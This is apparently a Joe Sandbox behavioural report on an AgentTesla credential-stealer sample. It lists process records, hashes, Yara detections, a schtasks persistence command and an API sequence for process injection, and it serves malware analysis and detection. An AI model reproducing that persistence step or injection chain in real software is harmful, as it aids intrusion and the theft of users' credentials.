Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe"
Imagebase:	0x310000
File size:	685'568 bytes
MD5 hash:	5D5B5ECC06B9058D0EC3199ED8617CFE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	08:42:41
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FrFvspxoHsPs" /XML "C:\Users\user\AppData\Local\Temp\tmp26DE.tmp"
Imagebase:	0xc00000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	08:42:41
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	08:42:41
Start date:	25/09/2024
Path:	C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe"
Imagebase:	0xc30000
File size:	685'568 bytes
MD5 hash:	5D5B5ECC06B9058D0EC3199ED8617CFE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000018.00000002.3861351736.0000000003091000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000018.00000002.3861351736.0000000003091000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000018.00000002.3861351736.00000000030BC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	10.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	108
Total number of Limit Nodes:	4

Executed Functions

Function 050BA070 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1448591434.00000000050B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_50b0000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db95da23d3b7e3afeaf6b6566d78a9f55c6fbddf96ed73b322774ced9569acf6
Instruction ID: f4997b328af0c5eb47a89241aa98061a8b3b82e563062164acef5913bcb0cb4e
Opcode Fuzzy Hash: db95da23d3b7e3afeaf6b6566d78a9f55c6fbddf96ed73b322774ced9569acf6
Instruction Fuzzy Hash: F2416C74E092098FEB48CFA9E8806EEFBF7AF89301F18D469D419A7251D7744901CB54

Function 071145C0 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1449552879.0000000007110000.00000040.00000800.00020000.00000000.sdmp, Offset: 07110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7110000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa2f4f442b869272919a87b786acf105f9c12d80c3a60c5f24cea0bd7fb46f07
Instruction ID: f5217d3eb6a11cdd138194b912b08160ef0e973438642ca77b14cba0ce774283
Opcode Fuzzy Hash: fa2f4f442b869272919a87b786acf105f9c12d80c3a60c5f24cea0bd7fb46f07
Instruction Fuzzy Hash: F7C08051D9D0C4C9C50409C474000F8F77CC94F911F0B34B28D4F5718253004126410C

Function 0102D4A9 Relevance: 6.1, APIs: 4, Instructions: 134
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0102D536
GetCurrentThread.KERNEL32 ref: 0102D573
GetCurrentProcess.KERNEL32 ref: 0102D5B0
GetCurrentThreadId.KERNEL32 ref: 0102D609

Memory Dump Source

Source File: 00000000.00000002.1443665457.0000000001020000.00000040.00000800.00020000.00000000.sdmp, Offset: 01020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1020000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: e840a780fb2f6d03c00288e4c8de7d67feb57be4a359b21b4fab658fb2dde27e
Instruction ID: f9fb1e144f92779230b17093a1b4f87c3baceb96aa22e5109c21f3654fb4e2ea
Opcode Fuzzy Hash: e840a780fb2f6d03c00288e4c8de7d67feb57be4a359b21b4fab658fb2dde27e
Instruction Fuzzy Hash: E65165B09007498FEB14CFAAD548B9EBBF1AF88304F20849AE049A73A0D7749944CF65

Function 0102D4B8 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0102D536
GetCurrentThread.KERNEL32 ref: 0102D573
GetCurrentProcess.KERNEL32 ref: 0102D5B0
GetCurrentThreadId.KERNEL32 ref: 0102D609

Memory Dump Source

Source File: 00000000.00000002.1443665457.0000000001020000.00000040.00000800.00020000.00000000.sdmp, Offset: 01020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1020000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 7d40402387f55b21e4c832d0d3bc04cbcf2a1b87eeb310aa054d17106ab03bfd
Instruction ID: 7dde161df57e51fa6a96dd2c8166db899cd232db47e82e2dc78a0c0a173986f5
Opcode Fuzzy Hash: 7d40402387f55b21e4c832d0d3bc04cbcf2a1b87eeb310aa054d17106ab03bfd
Instruction Fuzzy Hash: A45156B09007498FEB14CFAAD548B9EBBF1EF48304F20849AE409A7390D7749944CF65

Function 07110C8C Relevance: 1.7, APIs: 1, Instructions: 247
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 07110ECE

Memory Dump Source

Source File: 00000000.00000002.1449552879.0000000007110000.00000040.00000800.00020000.00000000.sdmp, Offset: 07110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7110000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 3f235fe766319e228eb466afa69a272070a41ae772d7bbb3342627fb7d1f8653
Instruction ID: 0488b64f7af19742692a507d3885c52a2cd9dd394d979ca91675fe2f7e788869
Opcode Fuzzy Hash: 3f235fe766319e228eb466afa69a272070a41ae772d7bbb3342627fb7d1f8653
Instruction Fuzzy Hash: E3A13CB1D0071ACFEF15DF69C8417EEBBB2AF48310F148569D858AB280DB749985CF91

Function 07110C98 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 07110ECE

Memory Dump Source

Source File: 00000000.00000002.1449552879.0000000007110000.00000040.00000800.00020000.00000000.sdmp, Offset: 07110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7110000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: f0d64cb2522f305df3264283837e23897f6bfe98d9dffda6e7b8bae6d674dc4e
Instruction ID: 19954affd172fb875b893a1144eed6452cc37e1e66a0253cacaca4b72611aeb9
Opcode Fuzzy Hash: f0d64cb2522f305df3264283837e23897f6bfe98d9dffda6e7b8bae6d674dc4e
Instruction Fuzzy Hash: 8A912CB1D0071ACFEB15DF69C841BDEBBB2BF48310F148569E849AB280DB749985CF91

Function 0102B0F8 Relevance: 1.7, APIs: 1, Instructions: 210
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0102B35E

Memory Dump Source

Source File: 00000000.00000002.1443665457.0000000001020000.00000040.00000800.00020000.00000000.sdmp, Offset: 01020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1020000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 353f35fc4a2181a71b6401ee8a0315aa1b54658da5a92de9da396baf027c2f15
Instruction ID: 241ad59a5e2e0b407dec7e71d6118847995d2dabcc92d3ff28fa04e8d4338d33
Opcode Fuzzy Hash: 353f35fc4a2181a71b6401ee8a0315aa1b54658da5a92de9da396baf027c2f15
Instruction Fuzzy Hash: 7C815670A00B158FE765CF29D4457AABBF1FF88300F10896ED48AD7A40DB75E949CB90

Function 0102590C Relevance: 1.6, APIs: 1, Instructions: 100
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 010259C9

Memory Dump Source

Source File: 00000000.00000002.1443665457.0000000001020000.00000040.00000800.00020000.00000000.sdmp, Offset: 01020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1020000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: f930ccbb2a8fde59f99ba51312f54d5bec1441f55ebbdcfc1296396593521044
Instruction ID: edcb3bdacff6ae4a900a4d89ca8499e007faa3e72d03fe1458a730c209ec2e65
Opcode Fuzzy Hash: f930ccbb2a8fde59f99ba51312f54d5bec1441f55ebbdcfc1296396593521044
Instruction Fuzzy Hash: D641C270C00729CBEB24CFAAC845BCEFBB5BF49704F20846AD459AB250DB756945CF54

Function 01024514 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 010259C9

Memory Dump Source

Source File: 00000000.00000002.1443665457.0000000001020000.00000040.00000800.00020000.00000000.sdmp, Offset: 01020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1020000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: d4f96f1aa9f4c26b0af59e1ca4759c15c002dce9780c65433c549b7a031a3f24
Instruction ID: 888b65026fc1aee5d92f233bf24489dc43f0d828be480e047f14813c3e1d9a93
Opcode Fuzzy Hash: d4f96f1aa9f4c26b0af59e1ca4759c15c002dce9780c65433c549b7a031a3f24
Instruction Fuzzy Hash: 6241C170C00729CBEB24CFA9C8457DEFBB5BF49304F20846AD449AB251DB756945CF94

Function 07110608 Relevance: 1.6, APIs: 1, Instructions: 73
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 071106A0

Memory Dump Source

Source File: 00000000.00000002.1449552879.0000000007110000.00000040.00000800.00020000.00000000.sdmp, Offset: 07110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7110000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 5e72f07e0f66ca53ea9efd1ab8573f8b01d3f444c2b012df37b21557ef5716f1
Instruction ID: 86a1b9d99cb801026e8d826b626df9f7c147a8071e9bebed63c623189a358912
Opcode Fuzzy Hash: 5e72f07e0f66ca53ea9efd1ab8573f8b01d3f444c2b012df37b21557ef5716f1
Instruction Fuzzy Hash: 71215EB1D003599FDB10CFA9C9857DEBBF1FF48320F148529E954A7281C7789540CBA0

Function 07110610 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 071106A0

Memory Dump Source

Source File: 00000000.00000002.1449552879.0000000007110000.00000040.00000800.00020000.00000000.sdmp, Offset: 07110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7110000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: fe8808dfa82386dc71b93c52abb05d83f4cf0e187e2972c1db6b5a2065471a28
Instruction ID: 7da9831323664b1233d9765d2518b5093962584b903f28276f3907e39fe3af66
Opcode Fuzzy Hash: fe8808dfa82386dc71b93c52abb05d83f4cf0e187e2972c1db6b5a2065471a28
Instruction Fuzzy Hash: 1F2139B1D003199FDB10CFAAC885BDEBBF5FF48310F10842AE958A7240C7789944CBA0

Function 0102D6F9 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0102D787

Memory Dump Source

Source File: 00000000.00000002.1443665457.0000000001020000.00000040.00000800.00020000.00000000.sdmp, Offset: 01020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1020000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 8e45452dd92944a718416f728346c27c56ad63d8e5af668e5de3f104917df458
Instruction ID: 6f645552d68090d8df22e1184d3234a512c6a62c2d11b6450930674d53fa4e0f
Opcode Fuzzy Hash: 8e45452dd92944a718416f728346c27c56ad63d8e5af668e5de3f104917df458
Instruction Fuzzy Hash: 7B2103B59002599FDB10CFAAD485AEEFFF4FB48310F14845AE958A3350D378A945CF60

Function 071106F9 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 07110780

Memory Dump Source

Source File: 00000000.00000002.1449552879.0000000007110000.00000040.00000800.00020000.00000000.sdmp, Offset: 07110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7110000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: e3cb8183288ab3960579df264272ce39b42477d57acf6145db2462601925f4b0
Instruction ID: 1da4bcca9c3fb57627d20060385d629ede2b0b0a6314c3841f1565361ba09093
Opcode Fuzzy Hash: e3cb8183288ab3960579df264272ce39b42477d57acf6145db2462601925f4b0
Instruction Fuzzy Hash: 382105B1D003599FDB10CFAAD884BEEFBF5BF48310F14852AE559A7240C7789A44CBA1

Function 07110471 Relevance: 1.6, APIs: 1, Instructions: 64
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 071104F6

Memory Dump Source

Source File: 00000000.00000002.1449552879.0000000007110000.00000040.00000800.00020000.00000000.sdmp, Offset: 07110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7110000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 99548a826c74931bf558e1c3b5a442235c35f8b231bac4d9e6451acd5e5b4890
Instruction ID: a56be8a1a222bee8431af825d4829a6c7a44c12a2686488dc39e95b3399ab429
Opcode Fuzzy Hash: 99548a826c74931bf558e1c3b5a442235c35f8b231bac4d9e6451acd5e5b4890
Instruction Fuzzy Hash: B4213AB1D003498FDB10DFA9C4857EEBBF4AF49314F14842ED459AB681C7789684CFA1

Function 07110700 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 07110780

Memory Dump Source

Source File: 00000000.00000002.1449552879.0000000007110000.00000040.00000800.00020000.00000000.sdmp, Offset: 07110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7110000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 0ad336428e66e5bff8b418c71fe72c84e42d40e1188da11d47f756b3e0036da0
Instruction ID: bc987c3fa5386cad4091bd9009dbfe025a2febeadbf35eb78e35722384a2c4c1
Opcode Fuzzy Hash: 0ad336428e66e5bff8b418c71fe72c84e42d40e1188da11d47f756b3e0036da0
Instruction Fuzzy Hash: 8E2114B1C003599FDB10CFAAC885BEEBBF5FF48310F50842AE958A7240D7789940CBA1

Function 07110478 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 071104F6

Memory Dump Source

Source File: 00000000.00000002.1449552879.0000000007110000.00000040.00000800.00020000.00000000.sdmp, Offset: 07110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7110000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 08af2881a9750717bbef8ee522c0ab0166657e24f4132035a7b0dea6fd238d6a
Instruction ID: bb58e6ceb17fcaa6a976a126b6a957885bb1cbde7e2c5d8b652bf3d00515498e
Opcode Fuzzy Hash: 08af2881a9750717bbef8ee522c0ab0166657e24f4132035a7b0dea6fd238d6a
Instruction Fuzzy Hash: 962118B1D003098FDB10DFAAC4857EEBBF4EF49310F54842AD559AB280D7789944CFA1

Function 0102D700 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0102D787

Memory Dump Source

Source File: 00000000.00000002.1443665457.0000000001020000.00000040.00000800.00020000.00000000.sdmp, Offset: 01020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1020000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: a94536717ccd7639a829846e7b3316f5aeb0c9b38eb08b646ccf822cc7eec25e
Instruction ID: 5dab75f0dd1791f286180b7344ceee3f8fd4cab3b49dd9cb76e316275ff728a7
Opcode Fuzzy Hash: a94536717ccd7639a829846e7b3316f5aeb0c9b38eb08b646ccf822cc7eec25e
Instruction Fuzzy Hash: 9521E2B59002599FDB10CFAAD984ADEFBF8FB48310F14841AE958A3350D378A940CFA1

Function 07110548 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 071105BE

Memory Dump Source

Source File: 00000000.00000002.1449552879.0000000007110000.00000040.00000800.00020000.00000000.sdmp, Offset: 07110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7110000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: e06dc6d4c93ffaf24a000d893e1bd6c19c745a694db25d6f7f9f4f9629168faa
Instruction ID: 55be86045c932800a57adb72750b9d76a2efe44f981cef91c5d310ceaf8531a8
Opcode Fuzzy Hash: e06dc6d4c93ffaf24a000d893e1bd6c19c745a694db25d6f7f9f4f9629168faa
Instruction Fuzzy Hash: E8114772C002499FDB10DFA9C8457DEBBF5AF48320F14881AE959AB250C7759A50CFA1

Function 07110550 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 071105BE

Memory Dump Source

Source File: 00000000.00000002.1449552879.0000000007110000.00000040.00000800.00020000.00000000.sdmp, Offset: 07110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7110000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: a22f57f87fa38fbc48db48a5058535f9d88b9fc1af3c7113c9c9fdbf2b950d2d
Instruction ID: 50fcabea9cc58138a0e61559912be4f346b75abe34d4be077461846360774695
Opcode Fuzzy Hash: a22f57f87fa38fbc48db48a5058535f9d88b9fc1af3c7113c9c9fdbf2b950d2d
Instruction Fuzzy Hash: 6D1137728003499FDB10DFAAC845BDEBBF5EF48310F14882AE515A7250C7759540CFA1

Function 050BFBC0 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32 ref: 050BFC22

Memory Dump Source

Source File: 00000000.00000002.1448591434.00000000050B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_50b0000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: fe6a807ee85e50384f51a80519b12bb79db8bd7ef066f503e544922607cc3070
Instruction ID: 6133136f431fef80ab3fda4621438257bae7d699603ba5b3d13680bfa136b6dd
Opcode Fuzzy Hash: fe6a807ee85e50384f51a80519b12bb79db8bd7ef066f503e544922607cc3070
Instruction Fuzzy Hash: BC113A71D043498FDB10DFAAD5457DEFBF4EF48310F248419D519A7240C7796544CBA5

Function 0102B2F8 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0102B35E

Memory Dump Source

Source File: 00000000.00000002.1443665457.0000000001020000.00000040.00000800.00020000.00000000.sdmp, Offset: 01020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1020000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: d08206f25b5e891f4696a03f4e09fc01abb8de2072275711c852727bdc4cb916
Instruction ID: ab5c3c8d7efd193c2a01920d989e35299c4f1ba30b9d546bfe3aededa4f01f6e
Opcode Fuzzy Hash: d08206f25b5e891f4696a03f4e09fc01abb8de2072275711c852727bdc4cb916
Instruction Fuzzy Hash: 9F111DB6C002598FDB10CF9AC444BDEFBF8EB88320F10846AD969A7210C379A545CFA1

Function 071109D4 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 07115175

Memory Dump Source

Source File: 00000000.00000002.1449552879.0000000007110000.00000040.00000800.00020000.00000000.sdmp, Offset: 07110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7110000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 63fb275524346cd423f0428a8f573b8045119d9cbacff3cebc3f06ad2ef54ad9
Instruction ID: 04e9ba9dcef0a8ff8a1bcd4a0cbfc533ecff4e8e3907ea46100ca62819f917c2
Opcode Fuzzy Hash: 63fb275524346cd423f0428a8f573b8045119d9cbacff3cebc3f06ad2ef54ad9
Instruction Fuzzy Hash: 2F1103B58003499FDB11CF9AC985BDEFBF8EB48310F10846AE958A7340C375A954CFA1

Function 07115113 Relevance: 1.5, APIs: 1, Instructions: 45windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 07115175

Memory Dump Source

Source File: 00000000.00000002.1449552879.0000000007110000.00000040.00000800.00020000.00000000.sdmp, Offset: 07110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7110000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 214b815aea1f0b82969a72836c67b7950fd5db8c31480e0684b4415483b2f0a1
Instruction ID: b23285f76b86127f69720ebb08aa414ecc268732ebc382cc6a94eaa93c94feb6
Opcode Fuzzy Hash: 214b815aea1f0b82969a72836c67b7950fd5db8c31480e0684b4415483b2f0a1
Instruction Fuzzy Hash: 6D1103B58002499FDB10CF9AC984BDEBBF4EB48320F20891AD568A7290C374A544CFA1

Function 00F5D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1443117407.0000000000F5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f5d000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e0cb0c68007a0d03481b9f23da5d68baee6e71ff9b1ee809ac19dad5290f76f
Instruction ID: 792b7ebc7902cc23c3a0872cabffc1ed20433ebed0a9063f95661d7c8cc6c857
Opcode Fuzzy Hash: 0e0cb0c68007a0d03481b9f23da5d68baee6e71ff9b1ee809ac19dad5290f76f
Instruction Fuzzy Hash: 2A214671905304EFDB24DF10C9C0B26BBA5FB84325F24C5ADEE094B282C336D84ADB62

Function 00F5D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1443117407.0000000000F5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f5d000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f9b6d23ffbf2e1997635dba6388153620c1a6fdcd2c02f548d85509ce733bab
Instruction ID: 1f6115d374dfb4bec0d04dfc1c7fd5f23af7ca4ccf2e26889c1a04d37a5fa1db
Opcode Fuzzy Hash: 2f9b6d23ffbf2e1997635dba6388153620c1a6fdcd2c02f548d85509ce733bab
Instruction Fuzzy Hash: B321F571905344DFDB24DF10D5C0B16BB65FB84325F24C569DE0A4B2DAC336D84BDA62

Function 00F5D005 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1443117407.0000000000F5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f5d000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a99abb518b8451199966b7b3c0c98e9b4deaebcbe2d66004b706bf79a47ced1
Instruction ID: cc22ec6c7952892f8e8d84a51887834a7e3461ab50cf4d9d2eb144727a7b20ce
Opcode Fuzzy Hash: 0a99abb518b8451199966b7b3c0c98e9b4deaebcbe2d66004b706bf79a47ced1
Instruction Fuzzy Hash: AB218E755093808FCB12CF20D990715BF71EB46324F28C5EAD9498B6A7C33A980ACB62

Function 00F5D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1443117407.0000000000F5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f5d000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0571d9b095afed8b546122286ae05565a289416437c47d1601190cbee81fcf2c
Instruction ID: 2396b85fc8eeb2c68892c5597987550d4b4d74524e780aa1de23dff1f6f97afa
Opcode Fuzzy Hash: 0571d9b095afed8b546122286ae05565a289416437c47d1601190cbee81fcf2c
Instruction Fuzzy Hash: 6D11BB75904280DFCB15CF10C9C0B15BBA1FB84324F28C6AEDD494B696C33AD84ACB61

Function 00BFD731 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1439144428.0000000000BFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bfd000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 060c9b0dab5fe9ccea6ae3276d482d51a5f82d46f95d57992589efbd86bbf276
Instruction ID: 561c8796bf323938343883c1e05ba22e857a27f16f70ca7d6b7f689555be64b7
Opcode Fuzzy Hash: 060c9b0dab5fe9ccea6ae3276d482d51a5f82d46f95d57992589efbd86bbf276
Instruction Fuzzy Hash: 2801F2321043489BE710AA21CDC4B76FBD9DF40320F28C49AEE084F282C6789C08CBB2

Function 00BFD730 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1439144428.0000000000BFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bfd000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f30d885f3549f49b1df60a714fa9255f1346b1de43c50c572ed0a2310721019
Instruction ID: dfa77fbb6709c271caf1ae3276749c5922205da8fbde2dc118483bbe453bee83
Opcode Fuzzy Hash: 6f30d885f3549f49b1df60a714fa9255f1346b1de43c50c572ed0a2310721019
Instruction Fuzzy Hash: C1F0C2320043449FE7109A16C984B62FBD8EB80334F28C59AED084F282C2799C44CB71

Non-executed Functions

Function 07116588 Relevance: .4, Instructions: 354COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1449552879.0000000007110000.00000040.00000800.00020000.00000000.sdmp, Offset: 07110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7110000_z38PO_20248099-1_pdf.jbxd

Similarity

